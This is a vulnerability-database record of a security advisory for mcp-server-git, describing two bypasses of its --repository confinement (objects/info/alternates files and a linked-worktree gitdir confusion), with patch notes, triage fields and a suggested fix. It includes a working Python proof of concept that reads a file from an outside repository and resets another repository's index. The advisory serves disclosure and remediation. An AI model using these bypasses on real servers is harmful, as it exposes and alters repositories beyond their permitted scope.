{"id":"GHSA-q74p-4wrc-q7w6","kind":"vulnerability","aliases":["GHSA-q74p-4wrc-q7w6"],"related":[],"title":"mcp-server-git: Incomplete Fix for GHSA-w766-5x43-whvw in validate_opened_repo() Allows --repository Confinement Bypass via objects/info/alternates and Linked-Worktree common_dir Confusion","description":"## Patched versions\n\nFixed in `mcp-server-git` **2026.11.11** ([#5514](https://github.com/modelcontextprotocol/servers/pull/5514)). Upgrade to 2026.11.11 or later. Versions before 2026.10.28 are covered by GHSA-w766-5x43-whvw.\n\nUnder `--repository`, the fix closes both bypasses in this report and the class around them:\n\n- A repository whose Git directory names an alternate object store (`objects/info/alternates` or `objects/info/http-alternates`, of any kind) is refused: under `--repository`, a repository reads only its own objects.\n- A Git directory or common directory outside the allowed repository is accepted only when it is the allowed repository's own: every working tree must be the allowed repository, every Git directory its Git directory, and every common directory its common directory, each compared separately. A linked worktree's Git directory can no longer pass as the main repository's common directory.\n- A symbolic link anywhere in a Git directory (at `objects`, `refs`, `index`, `HEAD` or elsewhere) that resolves outside both the allowed repository and that Git directory is refused. A link that stays inside is followed, and what it leads to is checked the same way, once per directory.\n\n## Not covered by this fix\n\nOn Windows, a directory junction inside a repository's Git directory is not yet recognised as a link by that check, so it is walked like an ordinary directory instead of being judged by where it leads. This is tracked for a follow-up release. POSIX hosts are unaffected.\n\n## Workarounds\n\nNone for affected versions other than upgrading. On Windows, until the follow-up ships, do not rely on `--repository` to confine the server against a client that can create junctions inside the allowed repository.\n\n---\n\n## Original report\n\n## Summary\n\n`GHSA-w766-5x43-whvw` (\"`mcp-server-git`: nested gitdir file bypasses `--repository` confinement\", published 2026-10-28) demonstrated that when `mcp-server-git` is started with `--repository <allowed>`, a caller able to write plain files inside `<allowed>` (for example via `@modelcontextprotocol/server-filesystem` `write_file`, with no symlink capability required) could place a `.git` redirection file inside `<allowed>/nested` to read and modify a repository outside `<allowed>`.\n\nTo remediate `GHSA-w766-5x43-whvw`, `validate_opened_repo()` was added in `src/git/src/mcp_server_git/server.py` (lines 418?474) to inspect `--git-dir`, `--git-common-dir`, and `--show-toplevel`. However, `validate_opened_repo()` on current `main` (`b711f8d3` / `194cc86e`) leaves two concrete `--repository` confinement bypasses under the exact same attack preconditions (plain-text file creation inside `<allowed>`, zero symlinks required):\n\n1. **Cross-Repository Object Store Confinement Bypass via `<common_dir>/objects/info/alternates`**:\n   - Like `.git` (`gitdir:`) and `commondir`, `<common_dir>/objects/info/alternates` is a standard plain-text Git redirection file that instructs both Git and GitPython (`GitCmdObjectDB`) to resolve and read objects (commits, trees, blobs) from external `.git/objects` directories on the host filesystem.\n   - Because `objects/info/alternates` does not alter `--git-dir`, `--git-common-dir`, or `--show-toplevel`, `validate_opened_repo()` passes unconditionally when `<allowed>/nested/.git/objects/info/alternates` contains `/path/to/outside-repository/.git/objects`.\n   - Subsequent tool calls (`git_show`, `git_diff`, `git_create_branch`, `git_log`, `git_checkout`) on `<allowed>/nested` read committed files and commit history from the outside repository.\n\n2. **Linked-Worktree `git_dir` / `common_dir` Set Confusion (`own` in `validate_opened_repo`)**:\n   - In `src/git/src/mcp_server_git/server.py` (lines 459?474):\n     ```python\n     escaped = [\n         p\n         for p in map(Path, (git_dir, common_dir, repo.git_dir, repo.common_dir))\n         if not p.resolve().is_relative_to(allowed)\n     ]\n     if not escaped:\n         return\n     with git.Repo(allowed) as allowed_repo:\n         own = {\n             Path(allowed_repo.git_dir).resolve(),\n             Path(allowed_repo.common_dir).resolve(),\n         }\n     for p in escaped:\n         if p.resolve() not in own:\n             raise outside(p)\n     ```\n   - When `--repository <worktree>` is a linked worktree of a main repository `<main>` (the configuration tested by `test_restricted_server_serves_a_linked_worktree`), `allowed_repo.common_dir` is `<main>/.git`.\n   - Because `validate_opened_repo()` puts `allowed_repo.git_dir` and `allowed_repo.common_dir` into a single undirected set `own` and allows any nested path inside `<worktree>` to match either element, a caller who writes `gitdir: /path/to/main/.git` into `<worktree>/nested/.git` (the exact payload from `GHSA-w766-5x43-whvw`) passes `validate_opened_repo()` completely: `--show-toplevel` resolves to `<worktree>/nested` (inside `<worktree>`) and `git_dir` resolves to `<main>/.git` (which is in `own`).\n   - Subsequent calls to `git_reset`, `git_add`, `git_commit`, or `git_checkout` on `<worktree>/nested` read and mutate `<main>`'s private per-worktree state (`HEAD`, `index`, `MERGE_HEAD`) outside the confined linked worktree.\n\n---\n\n## Minimal Benign Reproduction\n\n```python\nimport tempfile, shutil\nfrom pathlib import Path\nimport git\nfrom mcp_server_git.server import (\n    validate_repo_path,\n    validate_opened_repo,\n    git_show,\n    git_create_branch,\n    git_reset,\n)\n\nlab = Path(tempfile.mkdtemp(prefix=\"git-confinement-repro-\"))\ntry:\n    # 1. Bypass via plain-text .git/objects/info/alternates\n    allowed = git.Repo.init(lab / \"allowed\", initial_branch=\"main\")\n    (lab / \"allowed\" / \"a.txt\").write_text(\"allowed\n\")\n    allowed.index.add([\"a.txt\"])\n    allowed.index.commit(\"init allowed\")\n\n    outside = git.Repo.init(lab / \"outside\", initial_branch=\"main\")\n    (lab / \"outside\" / \"proof.txt\").write_text(\"DUMMY-OUTSIDE-CONTENT\n\")\n    outside.index.add([\"proof.txt\"])\n    outside_commit = outside.index.commit(\"init outside\")\n\n    nested_alt_path = lab / \"allowed\" / \"nested_alt\"\n    nested_alt = git.Repo.init(nested_alt_path, initial_branch=\"main\")\n    alt_file = Path(nested_alt.git_dir) / \"objects\" / \"info\" / \"alternates\"\n    alt_file.parent.mkdir(parents=True, exist_ok=True)\n    alt_file.write_bytes((Path(outside.git_dir) / \"objects\").as_posix().encode() + b\"\n\")\n    nested_alt.close()\n\n    r1 = git.Repo(nested_alt_path)\n    validate_repo_path(nested_alt_path, lab / \"allowed\")\n    validate_opened_repo(r1, nested_alt_path, lab / \"allowed\")\n    leaked = git_show(r1, f\"{outside_commit.hexsha[:4]}:proof.txt\")\n    assert \"DUMMY-OUTSIDE-CONTENT\" in leaked\n    r1.close()\n\n    # 2. Bypass via linked-worktree git_dir / common_dir confusion in own\n    (lab / \"allowed\" / \"a.txt\").write_text(\"staged-in-main\n\")\n    allowed.index.add([\"a.txt\"])\n    assert len(allowed.index.diff(\"HEAD\")) == 1\n\n    wt_path = lab / \"worktree\"\n    allowed.git.worktree(\"add\", str(wt_path), \"-b\", \"wt-branch\")\n\n    nested_wt = wt_path / \"nested\"\n    nested_wt.mkdir()\n    (nested_wt / \".git\").write_text(f\"gitdir: {allowed.git_dir}\n\")\n\n    r2 = git.Repo(nested_wt)\n    validate_repo_path(nested_wt, wt_path)\n    validate_opened_repo(r2, nested_wt, wt_path)\n    git_reset(r2)  # Resets the main repository's index outside wt_path!\n    assert len(allowed.index.diff(\"HEAD\")) == 0\n    r2.close()\n    allowed.close()\n    outside.close()\nfinally:\n    shutil.rmtree(lab, ignore_errors=True)\n```\n\n---\n\n## Suggested Remediation (`git diff`)\n\n```diff\n--- a/src/git/src/mcp_server_git/server.py\n+++ b/src/git/src/mcp_server_git/server.py\n@@ -456,21 +456,41 @@ def validate_opened_repo(\n         if not working_tree.resolve().is_relative_to(allowed):\n             raise outside(working_tree)\n \n-    escaped = [\n-        p\n-        for p in map(Path, (git_dir, common_dir, repo.git_dir, repo.common_dir))\n-        if not p.resolve().is_relative_to(allowed)\n-    ]\n-    if not escaped:\n-        return\n+    resolved_git_dirs = {Path(git_dir).resolve(), Path(repo.git_dir).resolve()}\n+    resolved_common_dirs = {Path(common_dir).resolve(), Path(repo.common_dir).resolve()}\n+\n+    escaped_git = [p for p in resolved_git_dirs if not p.is_relative_to(allowed)]\n+    escaped_common = [p for p in resolved_common_dirs if not p.is_relative_to(allowed)]\n+    if escaped_git or escaped_common:\n+        if repo_path.resolve() != allowed:\n+            raise outside((escaped_git or escaped_common)[0])\n+        with git.Repo(allowed) as allowed_repo:\n+            allowed_git_dir = Path(allowed_repo.git_dir).resolve()\n+            allowed_common_dir = Path(allowed_repo.common_dir).resolve()\n+        for p in escaped_git:\n+            if p != allowed_git_dir:\n+                raise outside(p)\n+        for p in escaped_common:\n+            if p != allowed_common_dir:\n+                raise outside(p)\n+\n+    for cdir in resolved_common_dirs:\n+        for alt_name in (\"alternates\", \"http-alternates\"):\n+            alt_file = cdir / \"objects\" / \"info\" / alt_name\n+            if alt_file.exists():\n+                for raw_line in alt_file.read_text(errors=\"replace\").splitlines():\n+                    line = raw_line.strip()\n+                    if not line or line.startswith(\"#\"):\n+                        continue\n+                    alt_path = (cdir / \"objects\" / line).resolve()\n+                    if not alt_path.is_relative_to(allowed):\n+                        raise outside(alt_path)\n```","summary":"The mcp-server-git Python package, run with --repository, can be tricked into reading and changing a Git repository outside the allowed directory using plain-text Git redirection files such as objects/info/alternates and a linked-worktree gitdir. An attacker who can write plain files inside the allowed repository can read outside commits and files, and reset or modify another repository's index.","severity":"medium","cvss":5.3,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"mcp-server-git","fixed":["2026.11.11"],"affected":">= 2026.10.28, < 2026.11.11","ecosystem":"pypi"}],"ecosystems":["pypi"],"tags":["cwe-200","cwe-22","git","mcp","mcp-server-git","package","python"],"not_affected_if":["no-repository-flag","posix-hosts-only-check","read-only-clients"],"how_to_check":"- Run `pip show mcp-server-git` and confirm the installed version is below `2026.11.11`.\n- Check whether the server is started with `--repository` and whether any client can write files inside that repository.\n- Look for `objects/info/alternates` or `objects/info/http-alternates` files inside repositories under the allowed path.","fix":"- `mcp-server-git` `2026.11.11` or later (versions before `2026.10.28` are covered by GHSA-w766-5x43-whvw).","status":"open","published_at":"2026-11-11T07:27:42+00:00","first_seen_at":"2026-11-11T07:28:35+00:00","triaged_at":"2026-11-11T07:29:58+00:00","updated_at":"2026-11-11T07:29:58+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-11-11T07:29:58Z","model":"claude-haiku-5-5","output":{"fix":"- `mcp-server-git` `2026.11.11` or later (versions before `2026.10.28` are covered by GHSA-w766-5x43-whvw).","reach":"local","title":"mcp-server-git: confinement bypass lets a repo read outside --repository","impact":"medium","summary":"The mcp-server-git Python package, run with --repository, can be tricked into reading and changing a Git repository outside the allowed directory using plain-text Git redirection files such as objects/info/alternates and a linked-worktree gitdir. An attacker who can write plain files inside the allowed repository can read outside commits and files, and reset or modify another repository's index.","audience":"developers","category":"package","nicknames":[],"who_cares":["mcp","python","mcp-server-git","git"],"confidence":0.8,"fix_status":"available","needs_auth":"unknown","worst_case":"Reads outside repository commits, and resets another repository's index.","analyst_note":"Confirm the Windows junction gap and whether any follow-up release has shipped; check the maintainer advisory for the follow-up version.","how_to_check":"- Run `pip show mcp-server-git` and confirm the installed version is below `2026.11.11`.\n- Check whether the server is started with `--repository` and whether any client can write files inside that repository.\n- Look for `objects/info/alternates` or `objects/info/http-alternates` files inside repositories under the allowed path.","plain_action":"","product_name":"","needs_analyst":true,"not_affected_if":["no-repository-flag","read-only-clients","posix-hosts-only-check"],"who_is_affected":"Teams running the mcp-server-git server with --repository, where an MCP client or another tool can write plain files inside the allowed repository. On Windows, directory junctions inside the Git directory are not yet checked by the fix, so the fix is incomplete there; POSIX hosts are unaffected. Servers run without --repository, or where clients cannot write inside the allowed repository, are less exposed.","user_interaction":"no","product_ecosystem":"","needs_special_setup":"yes","severity_if_unknown":"unknown"},"cost_usd":0.00121,"input_tokens":8469,"output_tokens":726,"severity_before":"medium"},"analyst_status":null,"analyst_note":null,"search":"'-10':413C '-200':45B '-22':47B '-28':414C '/modelcontextprotocol/servers/pull/5514)).':133C '/nested':452C,608C '/nested/.git/objects/info/alternates':590C '/objects/info/alternates':529C,535C '/path/to/outside-repository/.git/objects':592C '1':520C '194cc86e':498C '2':619C '2026':412C '2026.10.28':141C '2026.11.11':129C,136C '418':475C '459':637C '474':476C,638C '4wrc':33A,38A '5514':130C '5x43':11A,148C,399C,465C 'abl':428C 'accept':203C 'add':471C 'affect':360C 'allow':17A,78B,105B,200C,209C,219C,274C,391C,661C,668C,670C 'alter':572C 'altern':172C 'anoth':117B 'anywher':257C 'around':163C 'attack':97B,509C 'b711f8d3':497C 'blob':559C 'branch':602C 'bypass':20A,156C,408C,504C,527C 'call':595C 'caller':427C 'capabl':443C 'chang':72B 'check':295C,327C 'checkout':606C 'class':162C 'client':384C 'close':154C 'commit':110B,557C,610C,613C 'common':27A,196C,229C,232C,252C,484C,578C,625C,649C 'commondir':534C 'compar':235C 'concret':501C 'confin':19A,379C,410C,503C,526C 'confus':29A,628C 'contain':591C 'could':445C 'cover':143C,303C 'creat':387C,601C 'creation':515C 'cross':522C 'cross-repositori':521C 'current':495C 'cwe':44B,46B 'demonstr':415C 'diff':599C 'dir':28A,481C,485C,575C,579C,624C,626C,648C,650C,652C,654C 'directori':79B,169C,194C,197C,223C,226C,230C,233C,242C,253C,261C,279C,301C,310C,317C,335C,563C 'elsewher':268C 'escap':640C,664C 'everi':213C,221C,228C 'exact':507C 'exampl':435C 'extern':561C 'file':86B,102B,112B,407C,432C,439C,450C,514C,544C,611C 'filesystem':567C 'fix':6A,123C,153C,306C 'follow':288C,350C,370C 'follow-up':349C,369C 'ghsa':9A,31A,36A,146C,397C,463C 'ghsa-q74p-4wrc-q7w6':30A,35A 'ghsa-w766-5x43-whvw':8A,145C,396C,462C 'git':4A,43A,48B,53B,60B,74B,84B,128C,168C,193C,222C,225C,241C,260C,278C,316C,404C,421C,448C,480C,483C,531C,542C,548C,574C,577C,596C,598C,600C,603C,605C,623C,647C 'git-common-dir':482C,576C 'git-dir':479C,573C 'git.repo':667C 'git/objects':562C 'gitcmdobjectdb':551C 'gitdir':95B,406C,532C 'github.com':132C 'github.com/modelcontextprotocol/servers/pull/5514)).':131C 'gitpython':550C 'head':266C 'histori':614C 'host':354C,566C 'howev':490C 'incomplet':5A 'index':120B,265C 'insid':103B,286C,312C,389C,433C,451C,516C 'inspect':478C 'instead':336C 'instruct':546C 'judg':339C 'junction':311C,388C 'kind':180C 'later':138C 'lead':292C,343C 'leav':499C 'like':332C,530C 'line':474C,636C 'link':25A,93B,238C,256C,283C,324C,621C 'linked-worktre':24A,92B,620C 'log':604C 'longer':245C 'main':249C,496C 'map':645C 'mcp':2A,41A,49B,51B,58B,126C,402C,419C 'mcp-server-git':1A,40A,50B,57B,125C,401C,418C 'modelcontextprotocol/server-filesystem':437C 'modifi':116B,456C 'must':216C 'name':170C 'nest':405C 'none':358C 'object':173C,191C,263C,524C,556C 'objects/info/alternates':22A,89B,175C,569C 'objects/info/http-alternates':177C 'open':15A,468C,492C,585C,632C 'ordinari':334C 'origin':393C 'outsid':76B,109B,198C,271C,459C,617C 'p':641C,643C 'p.resolve':657C 'packag':54B,62B 'pass':246C,587C 'patch':121C 'path':646C 'per':300C 'place':446C 'plain':82B,101B,431C,512C,540C 'plain-text':81B,511C,539C 'posix':353C 'precondit':510C 'publish':411C 'python':55B,61B,639C 'q74p':32A,37A 'q7w6':34A,39A 'read':70B,108B,187C,454C,555C,609C 'recognis':321C 'redirect':85B,449C,543C 'ref':264C 'refus':182C,281C 'relat':659C 'releas':352C 'reli':375C 'remedi':461C 'repo':16A,469C,493C,586C,633C,671C 'repo.common':653C 'repo.git':651C 'report':159C,394C 'repositori':18A,65B,75B,106B,118B,151C,166C,184C,186C,201C,210C,220C,250C,275C,314C,377C,392C,409C,425C,458C,502C,523C,618C 'requir':444C,519C 'reset':114B 'resolv':270C,553C 'return':665C 'run':63B 'separ':236C 'server':3A,42A,52B,59B,127C,381C,403C,420C 'set':627C 'ship':372C 'show':488C,582C,597C 'show-toplevel':487C,581C 'src/git/src/mcp_server_git/server.py':473C,635C 'standard':538C 'start':423C 'stay':285C 'store':174C,525C 'subsequ':593C 'summari':395C 'symbol':255C 'symlink':442C,518C 'text':83B,513C,541C 'tool':594C 'toplevel':489C,583C 'track':346C 'tree':215C,558C 'trick':68B 'two':500C 'unaffect':356C 'uncondit':588C 'upgrad':134C,364C 'use':80B 'valid':14A,467C,491C,584C,631C 'version':122C,139C,361C 'via':21A,436C,528C 'w766':10A,147C,398C,464C 'walk':331C 'way':298C 'whose':167C 'whvw':12A,149C,400C,466C 'window':308C,366C 'work':214C 'workaround':357C 'worktre':26A,94B,239C,622C 'write':100B,430C,438C 'yet':320C 'zero':517C","nicknames":[],"mitigations":[],"who_affected":"Teams running the mcp-server-git server with --repository, where an MCP client or another tool can write plain files inside the allowed repository. On Windows, directory junctions inside the Git directory are not yet checked by the fix, so the fix is incomplete there; POSIX hosts are unaffected. Servers run without --repository, or where clients cannot write inside the allowed repository, are less exposed.","tier":"C","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"pkeys":["mcpservergit"],"ptokens":["git","mcp","server"],"labels":["cwe200","cwe22","git","mcp","mcpservergit","medium","package","pypi","python"],"campaign_type":null,"search_a":"'4wrc':33A,38A '5x43':11A 'allow':17A 'bypass':20A 'common':27A 'confin':19A 'confus':29A 'dir':28A 'fix':6A 'ghsa':9A,31A,36A 'ghsa-q74p-4wrc-q7w6':30A,35A 'ghsa-w766-5x43-whvw':8A 'git':4A,43A 'incomplet':5A 'link':25A 'linked-worktre':24A 'mcp':2A,41A 'mcp-server-git':1A,40A 'objects/info/alternates':22A 'open':15A 'q74p':32A,37A 'q7w6':34A,39A 'repo':16A 'repositori':18A 'server':3A,42A 'valid':14A 'via':21A 'w766':10A 'whvw':12A 'worktre':26A","search_b":"'-200':45B '-22':47B 'allow':78B,105B 'anoth':117B 'attack':97B 'chang':72B 'commit':110B 'cwe':44B,46B 'directori':79B 'file':86B,102B,112B 'git':48B,53B,60B,74B,84B 'gitdir':95B 'index':120B 'insid':103B 'link':93B 'linked-worktre':92B 'mcp':49B,51B,58B 'mcp-server-git':50B,57B 'modifi':116B 'objects/info/alternates':89B 'outsid':76B,109B 'packag':54B,62B 'plain':82B,101B 'plain-text':81B 'python':55B,61B 'read':70B,108B 'redirect':85B 'repositori':65B,75B,106B,118B 'reset':114B 'run':63B 'server':52B,59B 'text':83B 'trick':68B 'use':80B 'worktre':94B 'write':100B","search_c":"'-10':413C '-28':414C '/modelcontextprotocol/servers/pull/5514)).':133C '/nested':452C,608C '/nested/.git/objects/info/alternates':590C '/objects/info/alternates':529C,535C '/path/to/outside-repository/.git/objects':592C '1':520C '194cc86e':498C '2':619C '2026':412C '2026.10.28':141C '2026.11.11':129C,136C '418':475C '459':637C '474':476C,638C '5514':130C '5x43':148C,399C,465C 'abl':428C 'accept':203C 'add':471C 'affect':360C 'allow':200C,209C,219C,274C,391C,661C,668C,670C 'alter':572C 'altern':172C 'anywher':257C 'around':163C 'attack':509C 'b711f8d3':497C 'blob':559C 'branch':602C 'bypass':156C,408C,504C,527C 'call':595C 'caller':427C 'capabl':443C 'check':295C,327C 'checkout':606C 'class':162C 'client':384C 'close':154C 'commit':557C,610C,613C 'common':196C,229C,232C,252C,484C,578C,625C,649C 'commondir':534C 'compar':235C 'concret':501C 'confin':379C,410C,503C,526C 'confus':628C 'contain':591C 'could':445C 'cover':143C,303C 'creat':387C,601C 'creation':515C 'cross':522C 'cross-repositori':521C 'current':495C 'demonstr':415C 'diff':599C 'dir':481C,485C,575C,579C,624C,626C,648C,650C,652C,654C 'directori':169C,194C,197C,223C,226C,230C,233C,242C,253C,261C,279C,301C,310C,317C,335C,563C 'elsewher':268C 'escap':640C,664C 'everi':213C,221C,228C 'exact':507C 'exampl':435C 'extern':561C 'file':407C,432C,439C,450C,514C,544C,611C 'filesystem':567C 'fix':123C,153C,306C 'follow':288C,350C,370C 'follow-up':349C,369C 'ghsa':146C,397C,463C 'ghsa-w766-5x43-whvw':145C,396C,462C 'git':128C,168C,193C,222C,225C,241C,260C,278C,316C,404C,421C,448C,480C,483C,531C,542C,548C,574C,577C,596C,598C,600C,603C,605C,623C,647C 'git-common-dir':482C,576C 'git-dir':479C,573C 'git.repo':667C 'git/objects':562C 'gitcmdobjectdb':551C 'gitdir':406C,532C 'github.com':132C 'github.com/modelcontextprotocol/servers/pull/5514)).':131C 'gitpython':550C 'head':266C 'histori':614C 'host':354C,566C 'howev':490C 'index':265C 'insid':286C,312C,389C,433C,451C,516C 'inspect':478C 'instead':336C 'instruct':546C 'judg':339C 'junction':311C,388C 'kind':180C 'later':138C 'lead':292C,343C 'leav':499C 'like':332C,530C 'line':474C,636C 'link':238C,256C,283C,324C,621C 'linked-worktre':620C 'log':604C 'longer':245C 'main':249C,496C 'map':645C 'mcp':126C,402C,419C 'mcp-server-git':125C,401C,418C 'modelcontextprotocol/server-filesystem':437C 'modifi':456C 'must':216C 'name':170C 'nest':405C 'none':358C 'object':173C,191C,263C,524C,556C 'objects/info/alternates':175C,569C 'objects/info/http-alternates':177C 'open':468C,492C,585C,632C 'ordinari':334C 'origin':393C 'outsid':198C,271C,459C,617C 'p':641C,643C 'p.resolve':657C 'pass':246C,587C 'patch':121C 'path':646C 'per':300C 'place':446C 'plain':431C,512C,540C 'plain-text':511C,539C 'posix':353C 'precondit':510C 'publish':411C 'python':639C 'read':187C,454C,555C,609C 'recognis':321C 'redirect':449C,543C 'ref':264C 'refus':182C,281C 'relat':659C 'releas':352C 'reli':375C 'remedi':461C 'repo':469C,493C,586C,633C,671C 'repo.common':653C 'repo.git':651C 'report':159C,394C 'repositori':151C,166C,184C,186C,201C,210C,220C,250C,275C,314C,377C,392C,409C,425C,458C,502C,523C,618C 'requir':444C,519C 'resolv':270C,553C 'return':665C 'separ':236C 'server':127C,381C,403C,420C 'set':627C 'ship':372C 'show':488C,582C,597C 'show-toplevel':487C,581C 'src/git/src/mcp_server_git/server.py':473C,635C 'standard':538C 'start':423C 'stay':285C 'store':174C,525C 'subsequ':593C 'summari':395C 'symbol':255C 'symlink':442C,518C 'text':513C,541C 'tool':594C 'toplevel':489C,583C 'track':346C 'tree':215C,558C 'two':500C 'unaffect':356C 'uncondit':588C 'upgrad':134C,364C 'valid':467C,491C,584C,631C 'version':122C,139C,361C 'via':436C,528C 'w766':147C,398C,464C 'walk':331C 'way':298C 'whose':167C 'whvw':149C,400C,466C 'window':308C,366C 'work':214C 'workaround':357C 'worktre':239C,622C 'write':430C,438C 'yet':320C 'zero':517C","cause_entry":null,"cause_path":null,"disclosures_checked_at":null,"first_public_at":"2026-11-11T07:27:42+00:00","kev":null,"cvss_vector":null,"cvss_by":null,"poc_count":0,"sources":[{"source":"ghsa-repo","external_id":"GHSA-q74p-4wrc-q7w6","url":"https://github.com/modelcontextprotocol/servers/security/advisories/GHSA-q74p-4wrc-q7w6","severity":"medium","published_at":"2026-11-11T07:27:42+00:00","modified_at":"2026-11-11T07:27:42+00:00","first_seen_at":"2026-11-11T07:28:35+00:00","fetched_at":"2026-11-11T07:28:35+00:00","note":null}],"documents":[{"id":123647,"url":"https://github.com/modelcontextprotocol/servers/security/advisories/GHSA-q74p-4wrc-q7w6","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa-repo","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"}],"disclosures":[],"exploit_sources":[],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}